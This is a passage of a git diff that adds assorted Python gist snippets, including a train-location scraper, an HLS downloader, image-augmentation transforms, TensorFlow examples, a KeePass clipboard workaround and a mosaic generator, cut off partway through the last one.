+                    print('Carriage Return')
+                    p = 0;
+                
+
+                avg_cost += train(x, y)
+            print("Epoch {} average loss = {}".format(it*1.0*PRINT_FREQ/data_size*BATCH_SIZE, avg_cost / PRINT_FREQ))
+                    
+    except KeyboardInterrupt:
+        pass
+
+    # Save the network after training
+    save_network("../Data/spynet.net",lasagne.layers.get_all_param_values(l_out))
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/2de48835250e5fceaa1b626099abfa53/._snippet.py b/hard-gists/2de48835250e5fceaa1b626099abfa53/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2de48835250e5fceaa1b626099abfa53/._snippet.py differ
diff --git a/hard-gists/2de48835250e5fceaa1b626099abfa53/snippet.py b/hard-gists/2de48835250e5fceaa1b626099abfa53/snippet.py
new file mode 100644
index 00000000..e2de2cd0
--- /dev/null
+++ b/hard-gists/2de48835250e5fceaa1b626099abfa53/snippet.py
@@ -0,0 +1,33 @@
+import requests
+import csv
+from datetime import timedelta
+import dateutil.parser
+import time
+
+
+i=0
+sleep = 15
+
+# Change the range depending on how long you like to record the data
+for i in range (0,50):
+    try:
+        url="https://rata.digitraffic.fi/api/v1/train-locations/latest?bbox=20,60,33,70"
+        r = requests.get(url, timeout=3)
+        j = r.json() 
+        
+        for each in j:
+            t = dateutil.parser.parse(each['timestamp']) + timedelta(hours=2)
+            formt='{:%Y-%m-%d %H:%M:%S}'.format(t)
+            values = each['trainNumber'], formt, each['speed'], each['location']['coordinates'][0], each['location']['coordinates'][1]
+            with open(r'train_points.csv', 'a') as f:
+                writer = csv.writer(f, quoting=csv.QUOTE_NONE, lineterminator='\n')
+                writer.writerow(values)
+                
+# This is here so that the code won't fail if URL doesn't respond  
+    except:
+        print('URL not responding')
+    
+# Add to range, print where the request is and wait for next request
+    i+=1
+    print('Completed request number ' + str(i))
+    time.sleep(sleep)
\ No newline at end of file
diff --git a/hard-gists/2e0cbef7d50e8e7ef2d2/._snippet.py b/hard-gists/2e0cbef7d50e8e7ef2d2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2e0cbef7d50e8e7ef2d2/._snippet.py differ
diff --git a/hard-gists/2e0cbef7d50e8e7ef2d2/snippet.py b/hard-gists/2e0cbef7d50e8e7ef2d2/snippet.py
new file mode 100644
index 00000000..96129c31
--- /dev/null
+++ b/hard-gists/2e0cbef7d50e8e7ef2d2/snippet.py
@@ -0,0 +1,59 @@
+from sys import argv
+import os
+import re
+import subprocess
+import urllib.request
+import urllib.parse
+import youtube_dl
+from gi.repository import Notify
+
+
+def url_basename(url):
+    path = urllib.parse.urlparse(url).path
+    return path.strip('/').split('/')[-1]
+
+def absolute_url(url, base_url):
+    return url if re.match(r'^https?://', url) else urllib.parse.urljoin(base_url, url)
+
+with youtube_dl.YoutubeDL({}) as ydl:
+    info = ydl.extract_info(argv[1], download=False)
+    if info['protocol'].startswith('m3u8'):
+        url = info['url']
+        title = info['title']
+        http_headers = info['http_headers']
+        if not os.path.exists('%s/media_segments' % title):
+            request = urllib.request.Request(url, headers=http_headers)
+            media_playlist = urllib.request.urlopen(request).read().decode()
+            if not os.path.exists(title):
+                os.makedirs(title)
+            with open('%s.m3u8' % title, 'w') as mod_media_playlist:
+                with open('%s/media_segments' % title, 'w') as media_segments:
+                    for line in media_playlist.splitlines():
+                        line = line.strip()
+                        if line:
+                            if not line.startswith('#'):
+                                segment_url = absolute_url(line, url)
+                                media_segments.write(segment_url + '\n')
+                                line = '%s/%s' % (title, url_basename(segment_url))
+                            elif line.startswith('#EXT-X-KEY:'):
+                                key_url = absolute_url(re.search('URI="([^"]+)"', line).group(1), url)
+                                key_path = '%s/%s' % (title, url_basename(key_url))
+                                request = urllib.request.Request(key_url, headers=http_headers)
+                                with open(key_path, 'wb') as key:
+                                    key.write(urllib.request.urlopen(request).read())
+                                line = line.replace('URI="%s"' % key_url, 'URI="%s"' % key_path)
+                            mod_media_playlist.write(line + '\n')
+        os.chdir(title)
+        cmd = ['aria2c', '-j', '1', '--on-download-complete', '', '--on-download-error', '', '--save-session', 'media_segments', '-i', 'media_segments']
+        for key, val in http_headers.items():
+            cmd += ['--header', '%s: %s' % (key, val)]
+        try:
+            Notify.init("M3U8 Downloader")
+            p = subprocess.Popen(cmd)
+            p.communicate()
+            Notification = Notify.Notification.new('M3U8 Downloader', 'download completed', 'dialog-information')
+        except:
+            Notification = Notify.Notification.new('M3U8 Downloader', 'download failed', 'dialog-information')
+        Notification.show()
+    else:
+        ydl.process_ie_result(info)
\ No newline at end of file
diff --git a/hard-gists/2e11b48f431c53b101db6cb817b2fc7f/._snippet.py b/hard-gists/2e11b48f431c53b101db6cb817b2fc7f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2e11b48f431c53b101db6cb817b2fc7f/._snippet.py differ
diff --git a/hard-gists/2e11b48f431c53b101db6cb817b2fc7f/snippet.py b/hard-gists/2e11b48f431c53b101db6cb817b2fc7f/snippet.py
new file mode 100644
index 00000000..98acec3a
--- /dev/null
+++ b/hard-gists/2e11b48f431c53b101db6cb817b2fc7f/snippet.py
@@ -0,0 +1,16 @@
+from django.test import TestCase
+import re
+
+
+class MyTestCase(TestCase):
+
+    @staticmethod
+    def remove_csfr(html_code):
+        csrf_regex = r'<input[^>]+csrfmiddlewaretoken[^>]+>'
+        return re.sub(csrf_regex, '', html_code)
+
+    def assertEqualExceptCSFR(self, html_code1, html_code2):
+        return self.assertEqual(
+            self.remove_csfr(html_code1),
+            self.remove_csfr(html_code2)
+        )
\ No newline at end of file
diff --git a/hard-gists/2e3b989e0343f0884388ed7ed82eb3b0/._snippet.py b/hard-gists/2e3b989e0343f0884388ed7ed82eb3b0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2e3b989e0343f0884388ed7ed82eb3b0/._snippet.py differ
diff --git a/hard-gists/2e3b989e0343f0884388ed7ed82eb3b0/snippet.py b/hard-gists/2e3b989e0343f0884388ed7ed82eb3b0/snippet.py
new file mode 100644
index 00000000..210f4cfd
--- /dev/null
+++ b/hard-gists/2e3b989e0343f0884388ed7ed82eb3b0/snippet.py
@@ -0,0 +1,457 @@
+import numpy as np
+import scipy
+import scipy.ndimage
+from scipy.ndimage.filters import gaussian_filter
+from scipy.ndimage.interpolation import map_coordinates
+import collections
+from PIL import Image
+import numbers
+
+__author__ = "Wei OUYANG"
+__license__ = "GPL"
+__version__ = "0.1.0"
+__status__ = "Development"
+
+
+def center_crop(x, center_crop_size):
+    assert x.ndim == 3
+    centerw, centerh = x.shape[1] // 2, x.shape[2] // 2
+    halfw, halfh = center_crop_size[0] // 2, center_crop_size[1] // 2
+    return x[:, centerw - halfw:centerw + halfw, centerh - halfh:centerh + halfh]
+
+
+def to_tensor(x):
+    import torch
+    x = x.transpose((2, 0, 1))
+    return torch.from_numpy(x).float()
+
+
+def random_num_generator(config, random_state=np.random):
+    if config[0] == 'uniform':
+        ret = random_state.uniform(config[1], config[2], 1)[0]
+    elif config[0] == 'lognormal':
+        ret = random_state.lognormal(config[1], config[2], 1)[0]
+    else:
+        print(config)
+        raise Exception('unsupported format')
+    return ret
+
+
+def poisson_downsampling(image, peak, random_state=np.random):
+    if not isinstance(image, np.ndarray):
+        imgArr = np.array(image, dtype='float32')
+    else:
+        imgArr = image.astype('float32')
+    Q = imgArr.max(axis=(0, 1)) / peak
+    if Q[0] == 0:
+        return imgArr
+    ima_lambda = imgArr / Q
+    noisy_img = random_state.poisson(lam=ima_lambda)
+    return noisy_img.astype('float32')
+
+
+def elastic_transform(image, alpha=1000, sigma=30, spline_order=1, mode='nearest', random_state=np.random):
+    """Elastic deformation of image as described in [Simard2003]_.
+    .. [Simard2003] Simard, Steinkraus and Platt, "Best Practices for
+       Convolutional Neural Networks applied to Visual Document Analysis", in
+       Proc. of the International Conference on Document Analysis and
+       Recognition, 2003.
+    """
+    assert image.ndim == 3
+    shape = image.shape[:2]
+
+    dx = gaussian_filter((random_state.rand(*shape) * 2 - 1),
+                         sigma, mode="constant", cval=0) * alpha
+    dy = gaussian_filter((random_state.rand(*shape) * 2 - 1),
+                         sigma, mode="constant", cval=0) * alpha
+
+    x, y = np.meshgrid(np.arange(shape[0]), np.arange(shape[1]), indexing='ij')
+    indices = [np.reshape(x + dx, (-1, 1)), np.reshape(y + dy, (-1, 1))]
+    result = np.empty_like(image)
+    for i in range(image.shape[2]):
+        result[:, :, i] = map_coordinates(
+            image[:, :, i], indices, order=spline_order, mode=mode).reshape(shape)
+    return result
+
+
+class Merge(object):
+    """Merge a group of images
+    """
+
+    def __init__(self, axis=-1):
+        self.axis = axis
+
+    def __call__(self, images):
+        if isinstance(images, collections.Sequence) or isinstance(images, np.ndarray):
+            assert all([isinstance(i, np.ndarray)
+                        for i in images]), 'only numpy array is supported'
+            shapes = [list(i.shape) for i in images]
+            for s in shapes:
+                s[self.axis] = None
+            assert all([s == shapes[0] for s in shapes]
+                       ), 'shapes must be the same except the merge axis'
+            return np.concatenate(images, axis=self.axis)
+        else:
+            raise Exception("obj is not a sequence (list, tuple, etc)")
+
+
+class Split(object):
+    """Split images into individual arraies
+    """
+
+    def __init__(self, *slices, **kwargs):
+        assert isinstance(slices, collections.Sequence)
+        slices_ = []
+        for s in slices:
+            if isinstance(s, collections.Sequence):
+                slices_.append(slice(*s))
+            else:
+                slices_.append(s)
+        assert all([isinstance(s, slice) for s in slices_]
+                   ), 'slices must be consist of slice instances'
+        self.slices = slices_
+        self.axis = kwargs.get('axis', -1)
+
+    def __call__(self, image):
+        if isinstance(image, np.ndarray):
+            ret = []
+            for s in self.slices:
+                sl = [slice(None)] * image.ndim
+                sl[self.axis] = s
+                ret.append(image[sl])
+            return ret
+        else:
+            raise Exception("obj is not an numpy array")
+
+
+class ElasticTransform(object):
+    """Apply elastic transformation on a numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, alpha, sigma):
+        self.alpha = alpha
+        self.sigma = sigma
+
+    def __call__(self, image):
+        if isinstance(self.alpha, collections.Sequence):
+            alpha = random_num_generator(self.alpha)
+        else:
+            alpha = self.alpha
+        if isinstance(self.sigma, collections.Sequence):
+            sigma = random_num_generator(self.sigma)
+        else:
+            sigma = self.sigma
+        return elastic_transform(image, alpha=alpha, sigma=sigma)
+
+
+class PoissonSubsampling(object):
+    """Poisson subsampling on a numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, peak, random_state=np.random):
+        self.peak = peak
+        self.random_state = random_state
+
+    def __call__(self, image):
+        if isinstance(self.peak, collections.Sequence):
+            peak = random_num_generator(
+                self.peak, random_state=self.random_state)
+        else:
+            peak = self.peak
+        return poisson_downsampling(image, peak, random_state=self.random_state)
+
+
+class AddGaussianNoise(object):
+    """Add gaussian noise to a numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, mean, sigma, random_state=np.random):
+        self.sigma = sigma
+        self.mean = mean
+        self.random_state = random_state
+
+    def __call__(self, image):
+        if isinstance(self.sigma, collections.Sequence):
+            sigma = random_num_generator(
+                self.sigma, random_state=self.random_state)
+        else:
+            sigma = self.sigma
+        if isinstance(self.mean, collections.Sequence, random_state=self.random_state):
+            mean = random_num_generator(self.mean)
+        else:
+            mean = self.mean
+        row, col, ch = image.shape
+        gauss = self.random_state.normal(mean, sigma, (row, col, ch))
+        gauss = gauss.reshape(row, col, ch)
+        image += gauss
+        return image
+
+
+class AddSpeckleNoise(object):
+    """Add speckle noise to a numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, mean, sigma, random_state=np.random):
+        self.sigma = sigma
+        self.mean = mean
+        self.random_state = random_state
+
+    def __call__(self, image):
+        if isinstance(self.sigma, collections.Sequence):
+            sigma = random_num_generator(
+                self.sigma, random_state=self.random_state)
+        else:
+            sigma = self.sigma
+        if isinstance(self.mean, collections.Sequence):
+            mean = random_num_generator(
+                self.mean, random_state=self.random_state)
+        else:
+            mean = self.mean
+        row, col, ch = image.shape
+        gauss = self.random_state.normal(mean, sigma, (row, col, ch))
+        gauss = gauss.reshape(row, col, ch)
+        image += image * gauss
+        return image
+
+
+class GaussianBlurring(object):
+    """Apply gaussian blur to a numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, sigma, random_state=np.random):
+        self.sigma = sigma
+        self.random_state = random_state
+
+    def __call__(self, image):
+        if isinstance(self.sigma, collections.Sequence):
+            sigma = random_num_generator(
+                self.sigma, random_state=self.random_state)
+        else:
+            sigma = self.sigma
+        image = gaussian_filter(image, sigma=(sigma, sigma, 0))
+        return image
+
+
+class AddGaussianPoissonNoise(object):
+    """Add poisson noise with gaussian blurred image to a numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, sigma, peak, random_state=np.random):
+        self.sigma = sigma
+        self.peak = peak
+        self.random_state = random_state
+
+    def __call__(self, image):
+        if isinstance(self.sigma, collections.Sequence):
+            sigma = random_num_generator(
+                self.sigma, random_state=self.random_state)
+        else:
+            sigma = self.sigma
+        if isinstance(self.peak, collections.Sequence):
+            peak = random_num_generator(
+                self.peak, random_state=self.random_state)
+        else:
+            peak = self.peak
+        bg = gaussian_filter(image, sigma=(sigma, sigma, 0))
+        bg = poisson_downsampling(
+            bg, peak=peak, random_state=self.random_state)
+        return image + bg
+
+
+class MaxScaleNumpy(object):
+    """scale with max and min of each channel of the numpy array i.e.
+    channel = (channel - mean) / std
+    """
+
+    def __init__(self, range_min=0.0, range_max=1.0):
+        self.scale = (range_min, range_max)
+
+    def __call__(self, image):
+        mn = image.min(axis=(0, 1))
+        mx = image.max(axis=(0, 1))
+        return self.scale[0] + (image - mn) * (self.scale[1] - self.scale[0]) / (mx - mn)
+
+
+class MedianScaleNumpy(object):
+    """Scale with median and mean of each channel of the numpy array i.e.
+    channel = (channel - mean) / std
+    """
+
+    def __init__(self, range_min=0.0, range_max=1.0):
+        self.scale = (range_min, range_max)
+
+    def __call__(self, image):
+        mn = image.min(axis=(0, 1))
+        md = np.median(image, axis=(0, 1))
+        return self.scale[0] + (image - mn) * (self.scale[1] - self.scale[0]) / (md - mn)
+
+
+class NormalizeNumpy(object):
+    """Normalize each channel of the numpy array i.e.
+    channel = (channel - mean) / std
+    """
+
+    def __call__(self, image):
+        image -= image.mean(axis=(0, 1))
+        s = image.std(axis=(0, 1))
+        s[s == 0] = 1.0
+        image /= s
+        return image
+
+
+class MutualExclude(object):
+    """Remove elements from one channel
+    """
+
+    def __init__(self, exclude_channel, from_channel):
+        self.from_channel = from_channel
+        self.exclude_channel = exclude_channel
+
+    def __call__(self, image):
+        mask = image[:, :, self.exclude_channel] > 0
+        image[:, :, self.from_channel][mask] = 0
+        return image
+
+
+class RandomCropNumpy(object):
+    """Crops the given numpy array at a random location to have a region of
+    the given size. size can be a tuple (target_height, target_width)
+    or an integer, in which case the target will be of a square shape (size, size)
+    """
+
+    def __init__(self, size, random_state=np.random):
+        if isinstance(size, numbers.Number):
+            self.size = (int(size), int(size))
+        else:
+            self.size = size
+        self.random_state = random_state
+
+    def __call__(self, img):
+        w, h = img.shape[:2]
+        th, tw = self.size
+        if w == tw and h == th:
+            return img
+
+        x1 = self.random_state.randint(0, w - tw)
+        y1 = self.random_state.randint(0, h - th)
+        return img[x1:x1 + tw, y1: y1 + th, :]
+
+
+class CenterCropNumpy(object):
+    """Crops the given numpy array at the center to have a region of
+    the given size. size can be a tuple (target_height, target_width)
+    or an integer, in which case the target will be of a square shape (size, size)
+    """
+
+    def __init__(self, size):
+        if isinstance(size, numbers.Number):
+            self.size = (int(size), int(size))
+        else:
+            self.size = size
+
+    def __call__(self, img):
+        w, h = img.shape[:2]
+        th, tw = self.size
+        x1 = int(round((w - tw) / 2.))
+        y1 = int(round((h - th) / 2.))
+        return img[x1:x1 + tw, y1: y1 + th, :]
+
+
+class RandomRotate(object):
+    """Rotate a PIL.Image or numpy.ndarray (H x W x C) randomly
+    """
+
+    def __init__(self, angle_range=(0.0, 360.0), axes=(0, 1), mode='reflect', random_state=np.random):
+        assert isinstance(angle_range, tuple)
+        self.angle_range = angle_range
+        self.random_state = random_state
+        self.axes = axes
+        self.mode = mode
+
+    def __call__(self, image):
+        angle = self.random_state.uniform(
+            self.angle_range[0], self.angle_range[1])
+        if isinstance(image, np.ndarray):
+            mi, ma = image.min(), image.max()
+            image = scipy.ndimage.interpolation.rotate(
+                image, angle, reshape=False, axes=self.axes, mode=self.mode)
+            return np.clip(image, mi, ma)
+        elif isinstance(image, Image.Image):
+            return image.rotate(angle)
+        else:
+            raise Exception('unsupported type')
+
+
+class BilinearResize(object):
+    """Resize a PIL.Image or numpy.ndarray (H x W x C)
+    """
+
+    def __init__(self, zoom):
+        self.zoom = [zoom, zoom, 1]
+
+    def __call__(self, image):
+        if isinstance(image, np.ndarray):
+            return scipy.ndimage.interpolation.zoom(image, self.zoom)
+        elif isinstance(image, Image.Image):
+            return image.resize(self.size, Image.BILINEAR)
+        else:
+            raise Exception('unsupported type')
+
+
+class EnhancedCompose(object):
+    """Composes several transforms together.
+    Args:
+        transforms (List[Transform]): list of transforms to compose.
+    Example:
+        >>> transforms.Compose([
+        >>>     transforms.CenterCrop(10),
+        >>>     transforms.ToTensor(),
+        >>> ])
+    """
+
+    def __init__(self, transforms):
+        self.transforms = transforms
+
+    def __call__(self, img):
+        for t in self.transforms:
+            if isinstance(t, collections.Sequence):
+                assert isinstance(img, collections.Sequence) and len(img) == len(
+                    t), "size of image group and transform group does not fit"
+                tmp_ = []
+                for i, im_ in enumerate(img):
+                    if callable(t[i]):
+                        tmp_.append(t[i](im_))
+                    else:
+                        tmp_.append(im_)
+                img = tmp_
+            elif callable(t):
+                img = t(img)
+            elif t is None:
+                continue
+            else:
+                raise Exception('unexpected type')
+        return img
+
+
+if __name__ == '__main__':
+    from torchvision.transforms import Lambda
+    input_channel = 3
+    target_channel = 3
+
+    # define a transform pipeline
+    transform = EnhancedCompose([
+        Merge(),
+        RandomCropNumpy(size=(512, 512)),
+        RandomRotate(),
+        Split([0, input_channel], [input_channel, input_channel+target_channel]),
+        [CenterCropNumpy(size=(256, 256)), CenterCropNumpy(size=(256, 256))],
+        [NormalizeNumpy(), MaxScaleNumpy(0, 1.0)],
+        # for non-pytorch usage, remove to_tensor conversion
+        [Lambda(to_tensor), Lambda(to_tensor)]
+    ])
+    # read input data for test
+    image_in = np.array(Image.open('input.jpg'))
+    image_target = np.array(Image.open('target.jpg'))
+    
+    # apply the transform
+    x, y = transform([image_in, image_target])
diff --git a/hard-gists/2e466ff4e6b3425aba3c/._snippet.py b/hard-gists/2e466ff4e6b3425aba3c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2e466ff4e6b3425aba3c/._snippet.py differ
diff --git a/hard-gists/2e466ff4e6b3425aba3c/snippet.py b/hard-gists/2e466ff4e6b3425aba3c/snippet.py
new file mode 100644
index 00000000..81b549a4
--- /dev/null
+++ b/hard-gists/2e466ff4e6b3425aba3c/snippet.py
@@ -0,0 +1,37 @@
+import Image
+import photos
+import console
+import ImageOps
+
+# Pick screenshots to combine
+screenshot1 = photos.pick_image(show_albums=True)
+screenshot2 = photos.pick_image(show_albums=True)
+screenshot3 = photos.pick_image(show_albums=True)
+
+mode = console.alert('Create or Clean', 'Select a mode below.', 'Create Now', 'Clean First')
+
+if mode == 2:
+	from Cleanbar import cleanbar
+	cleanbar(screenshot1)
+	cleanbar(screenshot2)
+	cleanbar(screenshot3)
+
+# Creates final image
+console.clear()
+print "Creating final image..."
+background = Image.new('RGBA', (1850,1275), (255, 255, 255, 255))
+file1 = screenshot1.resize((545,969),Image.ANTIALIAS)
+file2 = screenshot2.resize((700,1245),Image.ANTIALIAS)
+file3 = screenshot3.resize((545,969),Image.ANTIALIAS)
+
+file1 = ImageOps.expand(file1,border=1,fill='gray')
+file2 = ImageOps.expand(file2,border=1,fill='gray')
+file3 = ImageOps.expand(file3,border=1,fill='gray')
+
+background.paste(file1,(10,138))
+background.paste(file2,(575,15))
+background.paste(file3,(1295,138))
+
+console.hide_activity()
+background.show()
+print "\n\n Image created"
diff --git a/hard-gists/2e90566e9497725065388859762a7185/._snippet.py b/hard-gists/2e90566e9497725065388859762a7185/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2e90566e9497725065388859762a7185/._snippet.py differ
diff --git a/hard-gists/2e90566e9497725065388859762a7185/snippet.py b/hard-gists/2e90566e9497725065388859762a7185/snippet.py
new file mode 100644
index 00000000..56cb900e
--- /dev/null
+++ b/hard-gists/2e90566e9497725065388859762a7185/snippet.py
@@ -0,0 +1,80 @@
+import tensorflow as tf
+import numpy as np
+
+from create_sentiment_featuresets import create_feature_sets_and_labels
+
+train_x, train_y, test_x, test_y = create_feature_sets_and_labels('pos.txt', 'neg.txt')
+
+
+
+n_nodes_h11 = 500
+n_nodes_h12 = 500
+n_nodes_h13 = 500
+
+all_nodes = [len(train_x[0]), n_nodes_h11, n_nodes_h12, n_nodes_h13]
+
+n_classes = 2
+batch_size = 100
+
+x = tf.placeholder('float', [None, len(train_x[0])])
+y = tf.placeholder('float')
+
+
+def neural_network_model(data, nodes, classes, num_layers):
+    num_layers -= 1
+    if num_layers > 0:
+        if len(nodes) > 1:
+            layer = {'weights':tf.Variable(tf.random_normal([nodes[0], nodes[1]])),
+                     'biases':tf.Variable(tf.random_normal([nodes[1]]))}
+            
+            l = tf.add(tf.matmul(data,layer['weights']),layer['biases'])
+            l = tf.nn.relu(l)
+            return neural_network_model(l, nodes[1:len(nodes)], classes, num_layers)
+        else:
+            layer = {'weights':tf.Variable(tf.random_normal([nodes[0], classes])),
+                     'biases':tf.Variable(tf.random_normal([classes]))}
+            
+            l = tf.add(tf.matmul(data,layer['weights']),layer['biases'])
+            l = tf.nn.relu(l)
+            return neural_network_model(l, nodes, classes, num_layers)
+    else:
+        output_layer = {'weights':tf.Variable(tf.random_normal([nodes[0], classes])),
+                        'biases':tf.Variable(tf.random_normal([classes]))}
+        output = tf.matmul(data, output_layer['weights']) + output_layer['biases']
+        return output
+
+
+def train_neural_network(x):
+    prediction = neural_network_model(x, all_nodes, n_classes, len(all_nodes))
+    cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=prediction, labels=y))
+    optimizer = tf.train.AdamOptimizer().minimize(cost)
+
+    hm_epochs = 20
+
+    with tf.Session() as sess:
+        sess.run(tf.global_variables_initializer())
+
+        for epoch in range(hm_epochs):
+            epoch_loss = 0
+
+            i = 0
+            while i < len(train_x):
+                start = i
+                end = i + batch_size
+
+                batch_x = np.array(train_x[start:end])
+                batch_y = np.array(train_y[start:end])
+
+                _, c = sess.run([optimizer, cost], feed_dict={x: batch_x, y: batch_y})
+                epoch_loss += c
+                i += batch_size
+
+            print('Epoch', epoch+1, 'completed out of', hm_epochs, 'loss:', epoch_loss)
+
+        correct = tf.equal(tf.argmax(prediction,1), tf.argmax(y,1))
+        accuracy = tf.reduce_mean(tf.cast(correct, 'float'))
+        print('Accuracy:', accuracy.eval({x:test_x, y:test_y}))
+
+
+
+train_neural_network(x)
diff --git a/hard-gists/2ec85f1f8fe0d4f44b6f/._snippet.py b/hard-gists/2ec85f1f8fe0d4f44b6f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2ec85f1f8fe0d4f44b6f/._snippet.py differ
diff --git a/hard-gists/2ec85f1f8fe0d4f44b6f/snippet.py b/hard-gists/2ec85f1f8fe0d4f44b6f/snippet.py
new file mode 100644
index 00000000..4d4d389c
--- /dev/null
+++ b/hard-gists/2ec85f1f8fe0d4f44b6f/snippet.py
@@ -0,0 +1,65 @@
+#!/usr/bin/python
+## License: CC0
+## Author: Marco Goetze
+## Web: http://solariz.de
+## Version: 1.2
+## DIZ:
+## Little Helper Script for Linux to make my KeePass Copy and Paste cooperate again with
+## Chrome Browser.
+## You need to have the latest keepass version and XSEL installed.
+## Tested with:
+## 	xsel 1.2.0
+##  keepass 2.27
+##  xdpyinfo 1.3.1
+##  chrome 36
+##  on Linux Mint Qiana (x64) on MATE and Cinnamon but should work on any gnome based desktop
+##
+## Plese see this chrome topic for discussion: https://productforums.google.com/forum/#!topic/chrome/4s5_Sx-e4z0
+##
+
+
+## You can edit this if needed, I use it since v1.2 to prevent the clipboard copy operation on each Copy Action
+## it should only run when invoked by LastPass. To make this happen be sure you have 'xdotool' & 'xsel' installed
+## apt-get install xdotool xsel
+## without this script will not work!
+##
+window_name_matches = ['KeePass', 'kdbx', 'Edit Entry', 'Add Entry']
+
+## no need for changes below here
+from gi.repository import Gtk, Gdk
+import subprocess
+
+glob_inhalt = ""
+print "KeePass Linux Clipboard Workaround"
+print "Version 1.2 by Marco Goetze (www.solariz.de)"
+
+def test(*args):
+	global glob_inhalt
+	found = False
+	# Get Clipboard
+	task = subprocess.Popen("xsel -o -b", shell=True, stdout=subprocess.PIPE)
+	data = task.stdout.read()
+	assert task.wait() == 0
+	# check if changed
+	if data != glob_inhalt:
+		glob_inhalt = data
+		print "Clipboard changed, checking if Lastpass Window is active..."
+		task = subprocess.Popen("xdotool getactivewindow getwindowname", shell=True, stdout=subprocess.PIPE)
+		winID = task.stdout.read().rstrip('\n')
+		## print winID
+		for s in window_name_matches:
+			if s in winID:
+				found = True
+
+		if found == True:
+			print "Match detected, processing Clipboard..."
+			# wtf... yes, this works. From Clipboard to Primaty to clipboard and chome have it in CTRL-V
+			task = subprocess.Popen("xsel -o -b|xsel -i -p;xsel -o -p|xsel -i -b", shell=True, stdout=subprocess.PIPE)
+			data = task.stdout.read()
+			assert task.wait() == 0
+		else:
+			print "No Match."
+
+clip = Gtk.Clipboard.get(Gdk.SELECTION_CLIPBOARD)
+clip.connect('owner-change',test)
+Gtk.main()
diff --git a/hard-gists/2eec49ca1e4f58c5310d72918d991ef6/._snippet.py b/hard-gists/2eec49ca1e4f58c5310d72918d991ef6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2eec49ca1e4f58c5310d72918d991ef6/._snippet.py differ
diff --git a/hard-gists/2eec49ca1e4f58c5310d72918d991ef6/snippet.py b/hard-gists/2eec49ca1e4f58c5310d72918d991ef6/snippet.py
new file mode 100644
index 00000000..f3b59cf5
--- /dev/null
+++ b/hard-gists/2eec49ca1e4f58c5310d72918d991ef6/snippet.py
@@ -0,0 +1,11 @@
+import tensorflow as tf
+from tensorflow.python.platform import gfile
+with tf.Session() as sess:
+    model_filename ='PATH_TO_PB.pb'
+    with gfile.FastGFile(model_filename, 'rb') as f:
+        graph_def = tf.GraphDef()
+        graph_def.ParseFromString(f.read())
+        g_in = tf.import_graph_def(graph_def)
+LOGDIR='/logs/tests/1/'
+train_writer = tf.summary.FileWriter(LOGDIR)
+train_writer.add_graph(sess.graph)
\ No newline at end of file
diff --git a/hard-gists/2f0a1118edb70de95f6859cfa979fad5/._snippet.py b/hard-gists/2f0a1118edb70de95f6859cfa979fad5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2f0a1118edb70de95f6859cfa979fad5/._snippet.py differ
diff --git a/hard-gists/2f0a1118edb70de95f6859cfa979fad5/snippet.py b/hard-gists/2f0a1118edb70de95f6859cfa979fad5/snippet.py
new file mode 100644
index 00000000..606de6bb
--- /dev/null
+++ b/hard-gists/2f0a1118edb70de95f6859cfa979fad5/snippet.py
@@ -0,0 +1,114 @@
+##################################################################
+#usage: generate_mosaic.py <original image> <tiles image library>
+#################################################################
+from PIL import Image, ImageOps
+from math import floor
+import glob, os,sys
+
+#define parameters
+OUTFILE = "mosaic.jpg" #Out file name
+tiles_numbers_width = 50 # tile numbers in width direction, tile numbers in height direction will be determined by original image
+size1 =128 #The pixel numbers of square tile images, 
+size = size1, size1
+
+def average(im): #function to calculate average RGB values of individual Image objective
+	width, height = im.size
+	r = 0
+	g =0
+	b = 0
+	for x in range (width):
+		for y in range (height):
+			tr, tg, tb = im.getpixel((x,y))
+			r +=tr
+			g += tg
+			b += tb
+	r = r/(height*width)
+	g = g/(height*width)
+	b = b/(height*width)
+	return (r,g,b)
+
+class Tiles:
+
+	def __init__(self, tiles_path):
+		self.tiles_src_path = tiles_path
+
+	def process_tiles(self): #generate smaller image files for easy operation
+		tiles_rgb_lib = [] #list,use [index] to access individual component
+		name = 1
+		print("Start to process tiles images")
+		thumbnail_path = self.tiles_src_path + "/thumbnail"
+		if not os.path.exists(thumbnail_path):
+			os.makedirs(thumbnail_path)
+		for file in os.listdir(self.tiles_src_path):
+				infile = os.path.join(self.tiles_src_path, file)
+				if os.path.isdir(infile):
+					continue
+				origi_im = Image.open(infile)
+				im = ImageOps.fit(origi_im, size, Image.ANTIALIAS)
+				tiles_rgb_lib.append(average(im)) #average rgb values
+				im.save(thumbnail_path+"/"+str(name) + ".thumbnail", "JPEG")
+				name+=1
+		print("Tiles image process completed")
+		return tiles_rgb_lib
+
+class Original_Image:
+	
+	def __init__(self, image_path, tiles_rgb_lib):
+		self.original_image_path = image_path
+		self.rgb_lib = tiles_rgb_lib
+	
+	def _find_tile_index_(self, target_rgb):
+		diff = sys.float_info.max
+		index = 1
+		answer = 1
+		for (x,y,z) in self.rgb_lib:
+			temp_diff = (2+(target_rgb[0]+x)/2/256)*(target_rgb[0]-x)*(target_rgb[0]-x) + 4*(target_rgb[1]-y)*(target_rgb[1]-y) + (2+(255-(target_rgb[0]+x)/2)/256)*(target_rgb[2]-z)*(target_rgb[2]-z) 
+			#color comparison method refered to WIKIPEDIA page "color difference"
+			if temp_diff < diff:
+				diff = temp_diff
+				answer = index
+			index += 1
+		return answer
+
+	def generate_index_matrix(self):
+		print("start to process orginal picture")
+		org_im = Image.open(self.original_image_path)
